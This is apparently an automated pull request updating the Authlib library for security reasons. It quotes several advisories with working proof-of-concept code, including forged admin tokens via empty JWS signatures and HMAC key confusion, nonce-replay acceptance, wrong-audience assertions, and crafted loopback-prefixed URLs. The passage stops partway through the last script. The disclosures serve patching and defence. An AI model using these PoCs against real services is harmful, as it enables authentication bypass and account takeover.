chore(deps): update dependency authlib to v1.9.1 [security] #9

Open
renovate wants to merge 1 commit from renovate/pypi-authlib-vulnerability into main
Member

This PR contains the following updates:

Package Change Age Confidence
Authlib 1.7.2 → 1.9.1 age confidence

Authlib: is_secure_transport() loopback exemption can be bypassed with a userinfo component, allowing cleartext-HTTP URLs to non-loopback hosts

CVE-2026-114614 / GHSA-jj7h-c3hg-m23x / PYSEC-2026-4354

More information

Details

Summary

authlib.common.security.is_secure_transport() is used throughout Authlib to enforce the OAuth 2.0 / OIDC requirement that endpoint and redirect URIs use TLS, with an RFC 8252 §7.3 exemption for loopback http:// URIs. The check is implemented as a textual str.startswith prefix match, so a URL such as http://localhost:80@evil.example/cb — whose actual host is evil.example and whose scheme is plain http — is accepted as "secure". An attacker who can supply a URL to any of the sinks that rely on this check (OIDC RP-Initiated Logout dynamic client registration, RFC 8414 authorization-server metadata validation, error-redirect rendering) can smuggle a cleartext non-loopback URL past the TLS-required guard. This is a defense-in-depth / spec-conformance failure; severity is low.

Details

Affected versions: authlib >= 0.13, <= 1.7.2 (all releases containing the loopback prefix exemption; verified against 1.7.2, the current latest)

The vulnerable function, from authlib/common/security.py at v1.7.2:

13  def is_secure_transport(uri):
14      """Check if the uri is over ssl."""
15      if os.getenv("AUTHLIB_INSECURE_TRANSPORT"):
16          return True
17
18      uri = uri.lower()
19      return uri.startswith(
20          ("https://", "http://localhost:", "http://127.0.0.1:", "http://[::1]:")
21      )

Per RFC 3986 §3.2 the authority component of a URI is [ userinfo "@" ] host [ ":" port ]. The URL http://localhost:80@evil.example/cb therefore has userinfo localhost:80 and host evil.example. Because the check is a raw prefix match against the full URL string, the http://localhost: prefix matches the userinfo portion and the function returns True even though the scheme is http and the host is an arbitrary external name. The trailing : in each allow-list entry — presumably intended to force a host:port shape and reject http://localhost.evil.com — is also satisfied by the user:password separator inside userinfo, so http://localhost:@evil.example/ matches too. The same construction works against all three loopback prefixes (http://127.0.0.1:...@evil.example/, http://[::1]:...@evil.example/).

is_secure_transport() is consumed at the following locations in v1.7.2, none of which independently reject URLs containing a userinfo component:

  • authlib/oidc/rpinitiated/registration.py:50-57 — validation of post_logout_redirect_uris during OIDC dynamic client registration for public clients (token_endpoint_auth_method == "none"). The preceding is_valid_url() check (authlib/common/urls.py:142-146) only requires parsed.scheme and parsed.hostname and does not reject userinfo, so the crafted URL passes both guards. A public client can therefore register http://localhost:80@attacker.example/cb as a post-logout redirect target; the OpenID Provider will later 302 the end-user's browser to that cleartext non-loopback URL (carrying state).
  • authlib/oauth2/rfc8414/models.py:61,75,100,115,123,248,284 — validation of issuer, authorization_endpoint, token_endpoint, jwks_uri, registration_endpoint, revocation_endpoint, introspection_endpoint in Authorization Server Metadata / OIDC Discovery documents. A relying party using AuthorizationServerMetadata.validate() would accept endpoint values of this form as satisfying the "MUST use https" requirement when they do not.
  • authlib/oidc/rpinitiated/discovery.py:12 — validation of end_session_endpoint in provider metadata.
  • authlib/oauth2/rfc6749/errors.py:64 and authlib/oauth1/rfc5849/errors.py:33 — governs how redirect_uri is rendered in error bodies (cosmetic).

The http://localhost: prefix was introduced in commit 0225c86b (first released in v0.13); http://127.0.0.1: and http://[::1]: were added later in the 1.6.x line. All variants share the same prefix-match weakness.

PoC

Against the current latest release (1.7.2):

python3 -m venv venv
./venv/bin/pip install 'authlib==1.7.2'
./venv/bin/python poc.py

poc.py:


#!/usr/bin/env python3
"""
is_secure_transport() must return True only for https:// URLs, or http://
URLs whose host is a loopback address (localhost / 127.0.0.1 / ::1).

Bypass: http://localhost:80@evil.example/cb has host 'evil.example'
(userinfo = 'localhost:80') per RFC 3986, but matches the prefix
'http://localhost:' and is therefore accepted as secure.
"""
from urllib.parse import urlparse
from authlib.common.security import is_secure_transport

cases = [
    "http://localhost:80@evil.example/cb",
    "http://127.0.0.1:80@evil.example/cb",
    "http://localhost:@evil.example/cb",
]

vulnerable = False
for url in cases:
    parsed = urlparse(url)
    ok = is_secure_transport(url)
    print(f"is_secure_transport({url!r}) = {ok}  "
          f"[actual host = {parsed.hostname!r}, scheme = {parsed.scheme!r}]")
    if ok and parsed.hostname not in ("localhost", "127.0.0.1", "::1") and parsed.scheme != "https":
        vulnerable = True

if vulnerable:
    print("\nVULNERABLE: is_secure_transport() returned True for a plain-HTTP "
          "URL whose host is NOT a loopback address.")
else:
    print("\nNOT VULNERABLE")

assert vulnerable, "expected bypass not observed"

Expected output:

is_secure_transport('http://localhost:80@evil.example/cb') = True  [actual host = 'evil.example', scheme = 'http']
is_secure_transport('http://127.0.0.1:80@evil.example/cb') = True  [actual host = 'evil.example', scheme = 'http']
is_secure_transport('http://localhost:@evil.example/cb') = True  [actual host = 'evil.example', scheme = 'http']

VULNERABLE: is_secure_transport() returned True for a plain-HTTP URL whose host is NOT a loopback address.
Impact

Deployments are affected if they rely on is_secure_transport() — directly or via the Authlib call sites listed above — to reject cleartext non-loopback URLs supplied by an external party. The most realistic path is an OpenID Provider that enables OIDC dynamic client registration and RP-Initiated Logout: a public client can register a post_logout_redirect_uris entry of the form http://localhost:80@attacker.example/…, which the provider will later use as an open-redirect target over plain HTTP. Relying parties that call AuthorizationServerMetadata.validate() on fetched discovery documents are also affected, though exploiting that sink requires the attacker to influence the metadata document. This does not bypass the OAuth 2.0 redirect-URI exact-match registration check and does not by itself yield authentication bypass or token theft; it defeats a TLS-required hardening check.

Suggested fix: Parse the URI with urllib.parse.urlsplit() and return True only if scheme == "https", or scheme == "http" and hostname in {"localhost", "127.0.0.1", "::1"}; additionally reject any URI whose parsed username/password is non-empty at these validation sites.

Severity

  • CVSS Score: 2.6 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-114614 / GHSA-jj7h-c3hg-m23x / PYSEC-2026-4354

More information

Details

Authlib is a Python library which builds OAuth and OpenID Connect servers. From 0.13 until 1.8.0, authlib.common.security.is_secure_transport() uses a textual prefix comparison for loopback HTTP exemptions, so a URL whose userinfo begins with a loopback host can be accepted even when its parsed host is an external non-loopback system. An external party able to supply a URL to OIDC RP-Initiated Logout registration, authorization-server metadata validation, or another call site can bypass the TLS-required guard and cause cleartext redirection or acceptance of cleartext endpoints. The issue does not bypass redirect URI exact matching and does not by itself forge tokens or authenticate users. The vulnerable authlib.common.security.is_secure_transport() implementation in authlib/common/security.py misinterprets the userinfo component before OIDC RP-Initiated Logout dynamic client registration and other consumers enforce transport security. This issue is fixed in version 1.8.0.

Severity

  • CVSS Score: 3.5 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Authlib: empty signatures validation in JWS JSON deserialization

CVE-2026-96760 / GHSA-6v38-4h7w-rj9h

More information

Details

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

Root cause

authlib/jose/rfc7515/jws.py, read on the installed 1.8.0 artifact:

is_valid = True                        # set before anything is checked
for header_obj in obj["signatures"]:   # empty array means the body never runs
    jws_header, valid = self._validate_json_jws(...)
    if not valid:
        is_valid = False
...
if is_valid:
    return rv                          # returns the payload as verified

is_valid is initialised to True and only ever set to False from inside the loop. A JWS JSON
Serialization object whose signatures array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.

Reproduction
import base64
from authlib.jose import JsonWebSignature

def b64(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}

print(jws.deserialize_json(forged, key=None))

Observed on authlib 1.8.0, Python 3.14, clean virtualenv:

[A] ATTACK   general JSON, signatures:[] , key=None
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK   general JSON, signatures:[] , key=<real key>
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
    ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
    rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
    rejected: DecodeError Missing "protected" value:

[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves
tampering is caught. [E] proves this is specifically the empty-array case and not a general
missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not
save a caller: the empty array is accepted either way.

For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects
the identical object with BadSignatureError. The correct behaviour already exists in your newer
library.

Impact

Any relying party that calls JsonWebSignature.deserialize_json() on input it did not produce will
accept an attacker-authored payload as signed. Where that payload carries identity or authorisation
claims, this is a complete authentication bypass by an unauthenticated remote caller with no key
material.

What would fix it

In _deserialize_json, reject an empty signatures array before the loop, or initialise the flag
from the signature count, for example is_valid = len(obj["signatures"]) > 0. Pull request #​938
proposes the same thing.

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys

CVE-2026-114615 / GHSA-7vr2-2fgp-9w7p / PYSEC-2026-4355

More information

Details

Summary

OctKey.import_key() carries the only guard that stops an asymmetric public key from being used as an
HMAC secret in authlib.jose. That guard is raw_key.startswith(POSSIBLE_UNSAFE_KEYS) — anchored at
byte 0 — while the loader that consumes the identical bytes on the asymmetric path
(cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate)
skips anything before the -----BEGIN line. A PEM public key or X.509 certificate carrying one
leading byte
— a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is
therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the
issuer's public key then mints an HS256 token with arbitrary claims that jwt.decode() accepts as
authentic.

This is an incomplete fix of CVE-2024-37568 / GHSA-5357-c2jx-v7qh. That advisory's fix is exactly
this guard (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py returns a single
commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #​654), and the
original attack works again unchanged whenever the stored PEM does not start at offset 0.

Reproduced end-to-end on 1.8.0, the newest release (published 2026-08-30), and on origin/main
(c529a61), with cryptography 50.0.2.

Preconditions

Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs
no secret and no user interaction.

  1. The relying party uses the documented module-level jwt object. from authlib.jose import jwt
    is built at authlib/jose/__init__.py:55-72 with the full list
    ["HS256","HS384","HS512","RS256",...,"EdDSA"], and JsonWebToken.decode
    (authlib/jose/rfc7519/jwt.py:80) exposes no algorithms parameter, so a caller of the
    documented object has no way to narrow it. This is the first code sample in
    docs/jose/jwt.rst:21-31.

    This hazard is already documented: docs/jose/jwt.rst:73-79 says
    "This decoding method is insecure. By default jwt.decode parses the alg header. This allows
    symmetric macs and asymmetric signatures.", and docs/jose/jwt.rst:94-98 says "You should never
    combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is
    not that the mixed list exists — it is that the oct_key.py:81 backstop shipped for precisely
    that documented hazard does not hold.

  2. The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with
    -----BEGIN .
    Each of the following forms was confirmed to forge, and each also still verifies a
    genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken:

    • one leading newline — what a triple-quoted Python literal produces
    • one leading space
    • four-space indentation — an indented YAML/JSON/TOML config block
    • a UTF-8 BOM — a Windows-editor artifact
    • a leading comment line
    • all of the above applied to an X.509 CERTIFICATE PEM instead of a PUBLIC KEY PEM

    A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric
    verification through this path, so I exclude it as a non-deployable configuration and mention it
    only as further evidence of the recogniser/loader gap.

Details

authlib/jose/rfc7518/oct_key.py:10-17

POSSIBLE_UNSAFE_KEYS = (
    b"-----BEGIN ",
    b"---- BEGIN ",
    b"ssh-rsa ",
    b"ssh-dss ",
    b"ssh-ed25519 ",
    b"ecdsa-sha2-",
)

authlib/jose/rfc7518/oct_key.py:78-84

raw_key = to_bytes(raw)

##### security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
    raise ValueError("This key may not be safe to import")

key = cls(raw_key=raw_key, options=options)

bytes.startswith is anchored. The loader on the asymmetric path is not:
authlib/jose/rfc7517/_cryptography_key.py:22-29 calls load_pem_public_key /
load_pem_x509_certificate, both of which scan forward for the armour header. So the set of byte
strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference
is exploitable.

Reach, for a caller of the documented object:

  • authlib/jose/rfc7518/jws_algs.py:59 — HMACAlgorithm.prepare_key(raw_data) returns
    OctKey.import_key(raw_data); this is the whole of the HMAC key handling.
  • authlib/jose/rfc7519/jwt.py:80 — JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); the algorithm comes from the token header and is checked
    only against the instance's list.
  • authlib/jose/__init__.py:55-72 — that list contains both HS* and RS*/ES*/PS*/EdDSA.

So oct_key.py:81 is the only thing between a mixed allow-list and using the public key as an HMAC
secret, and it is bypassed by a single leading byte.

PoC

poc-authlib-e2e-http.py stands up a Flask API whose only authentication is the documented
jwt.decode(token, PUBLIC_KEY), where PUBLIC_KEY is the issuer's RSA public key embedded as a
triple-quoted Python literal (hence one leading newline). The attacker is given only that public
key.

authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard  = authlib/jose/rfc7518/oct_key.py:81   raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call   = authlib/jose/rfc7519/jwt.py:80       JsonWebToken.decode(s, key)  [no `algorithms` param]
algs   = authlib/jose/__init__.py:55+         module-level jwt = JsonWebToken([HS256..RS256..ES256..])

[baseline 1] genuine RS256 token, role=user            -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin           -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept          -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey        -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token   -> REJECTED: UnsupportedAlgorithmError

ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK    ] HS256 forged with the PUBLIC key          -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')

The three controls establish that the guard does work on a canonical PEM (so the leading byte is
load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an
effective mitigation.

Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds
on the exact same bytes:


##### RSA-2048/RS256
  canonical PEM  (CONTROL A)   loader=load_pem_public_key  startswith_guard=True  RS/ES-verify=OK   BLOCKED:ValueError
  indented PEM   (4 spaces)    loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  UTF-8 BOM prefix             loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  leading comment line         loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  leading blank line           loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  leading single space         loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin
  DER (SPKI) bytes             loader=load_der_public_key  startswith_guard=False RS/ES-verify=FAIL  FORGED sub=superadmin role=admin
  [CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError

##### EC-P256/ES256
  identical results for all seven rows

Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.
Steps to reproduce
  1. pip install authlib==1.8.0 cryptography flask requests
  2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline
    (or indent it, or prepend a BOM or a comment line).
  3. Confirm authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS does not match those bytes with
    startswith, while cryptography.hazmat.primitives.serialization.load_pem_public_key loads them.
  4. from authlib.jose import jwt then
    tok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)
  5. jwt.decode(tok, mutated_pem) — verification succeeds and the claims are returned.
Impact

Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm
confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by
definition, normally served at /.well-known/jwks.json or in IdP metadata — forges tokens with
arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP
200 and the application's admin secrets for sub=attacker.

Authlib had 103,356,930 PyPI downloads in the last month (pypistats /api/packages/authlib/recent,
read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented
footgun it backstops.

Two notes for triage, in the interest of completeness:

  • authlib.jose emits AuthlibDeprecationWarning ("please use joserfc instead. It will be compatible
    before version 2.0.0"). It is deprecated but still shipped, still documented in docs/jose/jwt.rst,
    and still carries the download volume above.
  • joserfc is not affected by this mechanism. 1.7.5 was checked: keys carry an explicit kty in the
    data model, so jwt.decode with an RSAKey/ECKey and alg=HS256 raises InvalidKeyTypeError for
    every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what
    makes the class unrepresentable there.
Suggested remediation

Either of these closes the class rather than one more byte form:

  1. Decide key family by type, not by bytes. Attempt load_pem_public_key /
    load_pem_x509_certificate / load_ssh_public_key / load_der_public_key on the candidate and
    reject it as an oct key if any of them succeeds. This is the approach that makes joserfc immune and
    it cannot drift out of step with the loader, because it is the loader.
  2. If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check
    (any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) and add the -----BEGIN CERTIFICATE----- and
    DER SubjectPublicKeyInfo cases. This is strictly weaker than (1): the recogniser can drift again
    the next time cryptography becomes more tolerant.

Separately, and independent of this report: giving JsonWebToken.decode an algorithms= parameter
would let callers of the documented module-level object apply the mitigation the docs recommend without
constructing a second JsonWebToken.

Credit

Found by zer0d4y5. Happy to test a patch branch before release.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Authlib: ID token can disable its own nonce validation via the nonce_supported claim

CVE-2026-114617 / GHSA-c5mf-xmp2-59rc / PYSEC-2026-4357

More information

Details

Summary

OpenIDMixin.parse_id_token() reads the nonce_supported claim from the ID token it is validating. When that claim is boolean false, the expected nonce is set to None and nonce validation is skipped for that token.

An ID token that carries this claim is therefore accepted in a session whose nonce does not match. A captured, validly signed ID token belonging to a victim can be replayed into an attacker-controlled session, authenticating the attacker as the victim at the relying party.

The code is identical in authlib/integrations/base_client/sync_openid.py:82-83 and authlib/integrations/base_client/async_openid.py:84-85, so all framework integrations are affected. Fixed versions: none; reproduced on 1.8.0 (commit c529a61a).

Preconditions: the ID token must carry a valid signature and pass iss and aud validation, and the attacker must be able to supply it to parse_id_token(). Authorization code flow is not affected. Implicit and hybrid relying parties, and applications calling parse_id_token() directly, are affected.

Details
Affected code

authlib/integrations/base_client/sync_openid.py:80-85, in parse_id_token():

claims = claims_cls(token.claims, token.header, claims_options, claims_params)

##### https://github.com/authlib/authlib/issues/259
if claims.get("nonce_supported") is False:
    claims.params["nonce"] = None

claims.validate(leeway=leeway)

authlib/integrations/base_client/async_openid.py:82-86 contains the same code.

Source of the claim

claims is constructed from token.claims, which is the decoded payload of the ID token passed to parse_id_token():

token = jwt.decode(
    token["id_token"],
    key=key_set,
    registry=JWSRegistry(algorithms=alg_values, strict_check_header=False),
)
...
claims = claims_cls(token.claims, token.header, claims_options, claims_params)

claims.get("nonce_supported") therefore resolves against the ID token payload. It is not read from load_server_metadata(), from client configuration, or from any other source under the relying party's control.

Effect on validation

IDToken.validate_nonce() at authlib/oidc/core/claims.py:69-83 performs the comparison only when the expected value is truthy:

nonce_value = self.params.get("nonce")
if nonce_value:
    if "nonce" not in self:
        raise MissingClaimError("nonce")
    if nonce_value != self["nonce"]:
        raise InvalidClaimError("nonce")

Assigning claims.params["nonce"] = None makes nonce_value falsy, so both the presence check and the equality check are skipped. No error is raised and claims.validate() completes normally.

The docstring of that same method states the requirement:

If present in the ID Token, Clients MUST verify that the nonce Claim Value is equal to the value of the nonce parameter sent in the Authentication Request.

Trigger condition

The comparison is is False, so only a JSON boolean false activates the branch. A string value "false" does not, and nonce validation proceeds normally in that case.

Origin

The branch was added in commit 3ca7333c ("Skip verifying nonce for Apple case") to accommodate a provider that emits a nonce_supported claim, as referenced by the inline comment pointing to issue #​259.

Remediation

Read the flag from server metadata or client configuration rather than from the token:

metadata = self.load_server_metadata()
if metadata.get("nonce_supported") is False:
    claims.params["nonce"] = None

This preserves the behavior for relying parties configured against a provider that does not support nonces, while preventing the token from determining whether it is subject to nonce validation.

Proof of concept
Environment
  • authlib 1.8.0, commit c529a61a (tag v1.8.0)
  • Python 3.14
  • joserfc 1.7.5
  • No network access required
git clone https://github.com/authlib/authlib.git && cd authlib
git checkout c529a61a
python3 -m venv .venv
.venv/bin/pip install -e . joserfc==1.7.5
.venv/bin/python poc.py
Configuration

The relying party is a subclass of the shipped OpenIDMixin supplying only client_id and load_server_metadata(). fetch_jwk_set() returns metadata["jwks"] directly when the key set is present in metadata, so no HTTP request is made and no part of the validation path is stubbed.

The signing key is a generated RSA key. All three tokens are signed with it, carry iss and aud matching the relying party configuration, and are within their validity window. The relying party's session nonce is nonce-the-rp-actually-generated; every token carries the different nonce nonce-from-the-captured-token.

poc.py
from joserfc import jwt
from joserfc.jwk import RSAKey
from authlib.integrations.base_client.sync_openid import OpenIDMixin

ISSUER = "https://as.example"
CLIENT_ID = "rp-client"
KEY = RSAKey.generate_key(2048, parameters={"kid": "k1"})
JWKS = {"keys": [KEY.as_dict(private=False)]}

class RP(OpenIDMixin):
    client_id = CLIENT_ID

    def load_server_metadata(self):
        return {"issuer": ISSUER, "jwks": JWKS}

def id_token(nonce, sub="victim", nonce_supported=None):
    claims = {"iss": ISSUER, "sub": sub, "aud": CLIENT_ID,
              "iat": 1000000000, "exp": 4000000000, "auth_time": 1000000000}
    if nonce is not None:
        claims["nonce"] = nonce
    if nonce_supported is not None:
        claims["nonce_supported"] = nonce_supported
    return jwt.encode({"alg": "RS256", "kid": "k1"}, claims, KEY)

rp = RP()
SESSION_NONCE = "nonce-the-rp-actually-generated"
CAPTURED_NONCE = "nonce-from-the-captured-token"

cases = [
    ("[1] no nonce_supported claim", None),
    ("[2] nonce_supported: false", False),
    ("[3] nonce_supported: \"false\"", "false"),
]

for label, flag in cases:
    tok = {"access_token": "AT",
           "id_token": id_token(CAPTURED_NONCE, nonce_supported=flag)}
    try:
        user = rp.parse_id_token(tok, nonce=SESSION_NONCE)
        print(f"{label:34s} -> ACCEPTED sub={user['sub']}")
    except Exception as e:
        print(f"{label:34s} -> REJECTED {type(e).__name__}: {e}")
Expected result

All three cases carry a nonce that does not match the relying party's session nonce, so all three should be rejected.

Observed result
[1] no nonce_supported claim       -> REJECTED InvalidClaimError: invalid_claim: Invalid claim: 'nonce'
[2] nonce_supported: false         -> ACCEPTED sub=victim
[3] nonce_supported: "false"       -> REJECTED InvalidClaimError: invalid_claim: Invalid claim: 'nonce'

Case [1] shows nonce validation rejecting a mismatched nonce under normal conditions. Case [2] differs from case [1] only by the addition of the nonce_supported claim and is accepted, returning the subject of the replayed token. Case [3] confirms the branch requires a JSON boolean.

The script exits 0 and produces identical output across three runs.

Impact
Type of vulnerability

Reliance on an untrusted input in a security decision (CWE-807), resulting in authentication bypass by capture-replay (CWE-294).

The nonce binds an ID token to the browser session that requested it and is the control that prevents a token issued for one session being presented in another. Because the flag that governs this check is read from the token itself, the check can be disabled by the data it is applied to.

Who is impacted

OpenID Connect relying parties built on authlib's client integrations where an attacker can supply an ID token to parse_id_token():

  • Implicit flow relying parties, where the ID token is returned in the URL fragment.
  • Hybrid flow relying parties, where the ID token is returned in the fragment or by form post.
  • Applications calling parse_id_token() directly on externally supplied input.

Both the synchronous and asynchronous integrations are affected, so Flask, Django and Starlette deployments are equally exposed.

Relying parties using plain authorization code flow are not impacted, as the ID token is retrieved from the token endpoint over TLS following a state lookup and cannot be substituted by an attacker.

Consequence

An attacker in possession of a victim's ID token replays it into their own session. Nonce validation is skipped, parse_id_token() returns a UserInfo for the victim's subject, and the relying party establishes an authenticated session as the victim. This grants access to the victim's account at that relying party, including any data and actions available through it.

The token must carry a valid signature and pass iss and aud validation, so the vulnerability does not permit forging tokens or authenticating as an arbitrary subject. It removes the replay protection from a genuine token that has been captured, for example from browser history, a Referer header, proxy or server logs, or a shared device.

Mitigation available to integrators

None. The check is performed inside parse_id_token(), and no parameter or configuration option is exposed to disable the behaviour or to override the nonce handling.

Severity

  • CVSS Score: 4.2 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Authlib: Default JWT bearer grant accepts assertions for the wrong audience

CVE-2026-114618 / GHSA-fch4-3c6x-j4gc / PYSEC-2026-4358

More information

Details

Description
Summary

Authlib's default RFC 7523 JWT bearer grant leaves get_audiences() empty, so verify_claims() only checks that an aud claim exists instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for any audience can present it to a different authorization server sharing the same signing key and obtain an access token.

To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.

Affected Entrypoints
  • authlib.oauth2.rfc7523.JWTBearerGrant — default get_audiences() returns empty list
  • authlib.jose.jwt.decode() with claims_options for audience validation
  • authlib.integrations.flask_oauth2.ResourceProtector.validate_request() when audience checking is enabled
Exploit Path
1. Attacker authenticates to Service A (low-privilege)
2. Authorization server issues JWT with "aud": "https://evil.test/token"
3. Attacker presents this assertion to Service B's token endpoint
4. Service B uses default JWTBearerGrant (get_audiences() = [])
5. verify_claims() only checks aud *exists*, not its value
6. Service B issues an access token — audience bypass achieved
Proof of Concept

#!/usr/bin/env python3
"""
Demonstrates that the default JWTBearerGrant accepts JWT assertions
whose audience does not match the token endpoint, while a strict
audience override correctly rejects them.
"""
import json
import os
import sys

from joserfc.jwk import KeySet, OctKey

WRONG_AUDIENCE = "https://evil.test/token"
EXPECTED_AUDIENCE = "https://provider.test/token"
GRANT_TYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer"

def build_and_exercise(strict_audience: bool) -> tuple[int, dict]:
    from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant
    # Uses Authlib's own Flask test fixtures
    from tests.flask.test_oauth2.models import Client, User, db
    from tests.flask.test_oauth2.oauth2_server import (
        create_authorization_server, create_flask_app,
    )

    class JWTBearerGrant(BaseJWTBearerGrant):
        def resolve_issuer_client(self, issuer):
            return Client.query.filter_by(client_id=issuer).first()

        def resolve_client_public_key(self, client):
            return KeySet([
                OctKey.import_key("foo", {"kid": "1"}),
                OctKey.import_key("bar", {"kid": "2"}),
            ])

        def authenticate_user(self, subject):
            return None

        def has_granted_permission(self, client, user):
            return True

        # Only override get_audiences when testing strict mode
        if strict_audience:
            def get_audiences(self):
                return [EXPECTED_AUDIENCE]

    app = create_flask_app()
    os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"

    with app.app_context():
        db.init_app(app)
        db.create_all()

        user = User(username="demo-user")
        db.session.add(user)
        db.session.commit()

        client = Client(
            user_id=user.id,
            client_id="client-id",
            client_secret="client-secret",
        )
        client.set_client_metadata({
            "scope": "profile",
            "redirect_uris": ["https://client.test/authorized"],
            "grant_types": [GRANT_TYPE],
        })
        db.session.add(client)
        db.session.commit()

        server = create_authorization_server(app)
        server.register_grant(JWTBearerGrant)

        # Sign assertion with WRONG audience
        assertion = JWTBearerGrant.sign(
            "foo",
            issuer="client-id",
            audience=WRONG_AUDIENCE,  # <-- Not the expected audience
            subject=None,
            header={"alg": "HS256", "kid": "1"},
        )

        rv = app.test_client().post(
            "/oauth/token",
            data={"grant_type": GRANT_TYPE, "assertion": assertion},
        )
        body = json.loads(rv.data)
        db.session.remove()
        db.drop_all()
        return rv.status_code, body

def main() -> int:
    # Test 1: Default grant (no audience enforcement)
    vuln_status, vuln_body = build_and_exercise(strict_audience=False)

    # Test 2: Strict audience grant (correct behavior)
    strict_status, strict_body = build_and_exercise(strict_audience=True)

    result = {
        "wrong_audience": WRONG_AUDIENCE,
        "expected_audience": EXPECTED_AUDIENCE,
        "vulnerable_status": vuln_status,
        "vulnerable_body": vuln_body,
        "strict_status": strict_status,
        "strict_body": strict_body,
    }
    print(json.dumps(result, indent=2, sort_keys=True))

    if (
        vuln_status == 200
        and "access_token" in vuln_body
        and strict_body.get("error") == "invalid_grant"
    ):
        print(
            "POC_SUCCESS: default JWTBearerGrant issued an access token for "
            "an assertion whose aud did not match the token endpoint, while "
            "strict audience validation rejected the same assertion."
        )
        return 0

    print("POC_FAILURE: expected token issuance under default grant "
